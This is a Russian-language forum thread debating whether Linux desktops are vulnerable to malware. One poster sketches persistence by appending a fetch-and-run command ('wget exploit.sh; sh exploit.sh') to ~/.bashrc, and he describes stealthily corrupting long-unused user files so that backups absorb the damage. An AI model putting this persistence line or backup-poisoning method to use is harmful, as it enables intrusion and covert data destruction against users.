61

Nigelist, сам пост забавный:)

Да, у меня Ubuntu.
Нет, не глючит.

62

Nigelist пишет:

Кстати, приглашаю желающих потролить на эту тему, в аналогичную тему на оф. форум Dr.Web. http://linuxforum.ru/extensions/bbcode_smiles/img/ab.gif

а что там троллить? Если злоумышленник сможет незаметно добавить нечто в пользовательские файлы автозапуска или крона, то это нечто начнет отрабатывать. Или при следующем входе в систему, или по кроновскому расписанию. При этом думать, что если пользователю доступны по записи только noexec-диски, то ничего с них не запустится - есть глубочайшее заблуждение. Запускать программы можно по из имени (при этом надо поставить им атрубут "x", то есть запусить chmod), а можно и через явное указание шелла (sh ~/.bla-bla-bla/exploit.sh). Во втором случае и запускать самому ничего не надо. А далее - запущенное от имени пользователя сделает свое черное дело. Настолько черное, насколько черна душа у писателя. Тем более, что максимальую гадость можно сделать именно с правами юзера (покорежить в случайном порядке все доступные юзеру данные), а не рута.

63

Cruiser78 пишет:

а что там троллить? Если злоумышленник сможет незаметно добавить нечто в пользовательские файлы автозапуска или крона, то это нечто начнет отрабатывать.

Ну да, только все файлы пользователя и то, только пользователю, который запустит этот самый зловред. И то для этого есть такое дело как бэкап. Кстати, как злоумышленник добавить задачу в автозапуск или cron? На эту тему и предлагается потроллить. Только кому интересно.

64

Nigelist пишет:
Cruiser78 пишет:

а что там троллить? Если злоумышленник сможет незаметно добавить нечто в пользовательские файлы автозапуска или крона, то это нечто начнет отрабатывать.

Ну да, только все файлы пользователя и то, только пользователю, который запустит этот самый зловред. И то для этого есть такое дело как бэкап. Кстати, как злоумышленник добавить задачу в автозапуск или cron? На эту тему и предлагается потроллить. Только кому интересно.

Берем офтопичный IE+ActiveX (оно позволяет обращаться к локальным ресурсам). С использованием  этой сладкой парочки пытаемся выполнить простое действие:
записать в ~/.bash_login или в ~/.bashrc, или еще куда-нибудь конструкцию вида "cd ~/.cache/...; wget exploit.sh; sh exploit.sh". Например, через "echo text >>~/.bashrc". Важно только получить возможность записать хоть что-либо в локальные пользовательские файлы.   Как только эта возможность появится, появятся и соответствующие удары.

Ну и не нужно думать, что пользовательские данные можно сохранить бэкапом. Во первых, самое ценное на компьютере, это не ось, а именно пользовательские данные. Причем все, к которым имеет доступ пользователь, даже на сети. Во вторых - вполне можно замаскировать разрушение данных. То есть крушить не все подряд, а лишь то, к чему определенное время никто не прикасался. Вероятность, что не прикоснется и в ближайшем будущем - высока. Вот это и покрушить. А бэкап честно порушенные файлы в своё хранилище затянет. Кто хранит бэкапы вечно? А когда потребуется достать - там, в архиве, уже будет сидеть порушенный файл.

65 (19.11.2012 16:04:20 отредактировано Nigelist)

Cruiser78, слишком много "допущений" начиная с IE+ActiveX на Linux.

66

Nigelist пишет:

Cruiser78, слишком много "допущений" начиная с IE+ActiveX на Linux.

Это допущение рабочее. А именно - есть ряд сайтов, которые нужно мониторить по делам бизнеса. А написаны они как раз под эту связку. А в FireFox'е - неработоспособны. Так что эта сладкая парочка вполне может появиться и вынужденно на рабочем компьютере. Это первое.
Второе - дашь гарантию, что в результате ошибки какой FF не приоткроет доступ нарушителю к локальным ресурсам? Я  - нет.
Может, я - параноик. Но в данном случае открытость кода может сыграть злую шутку. Что злобный хакер быстрее найдет ошибку и воспользуется ею, чем будет выпущен патч. Плюс - социальная инженерия, запусти программку, увидишь много нового... А что там останется в ~/.bashrc после её запуска?

Cruiser78 пишет:
Nigelist пишет:

Cruiser78, слишком много "допущений" начиная с IE+ActiveX на Linux.

Это допущение рабочее. А именно - есть ряд сайтов, которые нужно мониторить по делам бизнеса. А написаны они как раз под эту связку. А в FireFox'е - неработоспособны. Так что эта сладкая парочка вполне может появиться и вынужденно на рабочем компьютере. Это первое.
Второе - дашь гарантию, что в результате ошибки какой FF не приоткроет доступ нарушителю к локальным ресурсам? Я  - нет.
Может, я - параноик. Но в данном случае открытость кода может сыграть злую шутку. Что злобный хакер быстрее найдет ошибку и воспользуется ею, чем будет выпущен патч. Плюс - социальная инженерия, запусти программку, увидишь много нового... А что там останется в ~/.bashrc после её запуска?

Это допущение не рабочее.

  • За пределы Wine ничто не вылезет

  • Про FF - работающие примеры пожалуйста

  • Социальная инженерия основана на м*дозвонстве пользователя и к ОС отношения не имеет

Систему безопасности Windows известный Microsoft разрабатывал в сотрудничестве с National Security Agency, не пугает закрытый код?

68

karl_muenhgausen пишет:

- За пределы Wine ничто не вылезет
- Про FF - работающие примеры пожалуйста

Я не говорю про Wine. Я говорю про технологии. Технологии, которым необходимо для выполнения тех или иных задач иметь доступ к локальным ресурсам. Как только FF реализует, если реализует, такое - то будет при этом и реализована дыра, в которую можно что-либо засадить.
Для чего нужны такие тахнологии, почему без них не обойтись? Ответ прост. Системы защищенного документооборота в обязательном порядке требуют доступ к криптографичисеским ключам. Которые могут быть только локальными. А вот сервер этого документооборота - может располагаться где-либо в интернете. И вот нужно тебе загрузить в систему подписанное твоей подписью сообщение (которое формируется серверной частью), как поступать будем?
Я не исключаю возможности, что разработчики FF реализуют соответствующий модуль для обеспечения реализации такой работы. А дальше, через этот модуль, можно будет и атаки проводить.
Сама по себе атака юникса не сложна. Сложно найти дырку, через которую её можно провести.

Cruiser78 пишет:
karl_muenhgausen пишет:

- За пределы Wine ничто не вылезет
- Про FF - работающие примеры пожалуйста

Я не говорю про Wine. Я говорю про технологии. Технологии, которым необходимо для выполнения тех или иных задач иметь доступ к локальным ресурсам. Как только FF реализует, если реализует, такое - то будет при этом и реализована дыра, в которую можно что-либо засадить.
Для чего нужны такие тахнологии, почему без них не обойтись? Ответ прост. Системы защищенного документооборота в обязательном порядке требуют доступ к криптографичисеским ключам. Которые могут быть только локальными. А вот сервер этого документооборота - может располагаться где-либо в интернете. И вот нужно тебе загрузить в систему подписанное твоей подписью сообщение (которое формируется серверной частью), как поступать будем?
Я не исключаю возможности, что разработчики FF реализуют соответствующий модуль для обеспечения реализации такой работы. А дальше, через этот модуль, можно будет и атаки проводить.
Сама по себе атака юникса не сложна. Сложно найти дырку, через которую её можно провести.

Оченьмногабукофф. Работающие примеры пожалуйста в студию. Теоретизировать не сложно.

70

karl_muenhgausen пишет:

Оченьмногабукофф. Работающие примеры пожалуйста в студию. Теоретизировать не сложно.

Очень долго считалось, что вирусы не передаются с документами, что только в исполняемых файлах живут...
Очень долго считалось, что MacOS устойчива к вирусным атакам....
Продолжай считать, что Linux идет своим путем...

Cruiser78 пишет:
karl_muenhgausen пишет:

Оченьмногабукофф. Работающие примеры пожалуйста в студию. Теоретизировать не сложно.

Очень долго считалось, что вирусы не передаются с документами, что только в исполняемых файлах живут...
Очень долго считалось, что MacOS устойчива к вирусным атакам....
Продолжай считать, что Linux идет своим путем...

вжик

Пример ОДНОГО работающего здесь и сейчас вируса для Линукса в студию. Сейчас. Бегом.